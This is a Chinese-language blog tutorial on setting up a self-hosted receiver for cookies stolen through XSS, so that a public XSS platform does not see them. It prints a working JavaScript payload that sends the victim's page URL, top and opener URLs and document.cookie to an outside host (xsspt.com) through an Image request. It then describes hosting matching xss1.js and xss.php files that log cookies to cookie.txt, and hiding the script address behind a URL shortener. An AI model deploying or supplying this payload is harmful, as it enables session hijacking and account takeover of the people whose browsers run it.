前言

看JS书籍中,看着看着就想到了XSS平台,不禁对XSS平台为什么可以接受cookie产生了思考?看了下接受cookie的代码,原来是接受的步骤是这样的。

我们在存在一个XSS漏洞的地方插入XSS代码,该XSS代码从远程载入一段Javascript。这段Javascript代码的作用就是向我们的XSS平台提交一段GET请求,这段GET请求包括浏览器的cookie(document.cookie),然后我们的XSS平台就接受GET请求,把cookie获取。

那么我们是否可以自己搭建个接受模块来接受cookie呢?毕竟用别人的平台别人是可以看到我们打到的cookie的。

步骤

这是XSS平台获取cookie的模块,下面的几段代码就可以让我们接受从某个地方打到的cookie

可能这样看不清楚,那我们解压缩一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
(function () {
(new Image()).src = 'http://xsspt.com/index.php?do=api&id={projectId}&location=' + escape((function () {
try {
return document.location.href
} catch (e) {
return ''
}
})()) + '&toplocation=' + escape((function () {
try {
return top.location.href
} catch (e) {
return ''
}
})()) + '&cookie=' + escape((function () {
try {
return document.cookie
} catch (e) {
return ''
}
})()) + '&opener=' + escape((function () {
try {
return (window.opener && window.opener.location.href) ? window.opener.location.href : ''
} catch (e) {
return ''
}
})());
})();
if ('{set.keepsession}' == 1) {
keep = new Image();
keep.src = 'http://xsspt.com/index.php?do=keepsession&id={projectId}&url=' + escape(document.location) + '&cookie=' + escape(document.cookie)
};

这段代码等同于<img src="http://localhost/xss.php?cookie=(document.cookie)....." />,也就是一个Img标签。该Img标签可以访问远程接受cookie的地址。

那么我们在自己的服务器上加一个xss1.js和接受并处理cookie的xss.php不就行了么。

这里的话我图简单就本地phpstudy搭建了,反正都一样。。。

接受和处理cookie的xss.php

发送GET请求的xss1.js

本地写一个无过滤的界面来测试是否可以用。

view看看。src后面的网址我把缩短了。

百度缩短网址即可。

最后看看我们本地的地方是否存在这个cookie.txt

成功打到cookie,说明成功。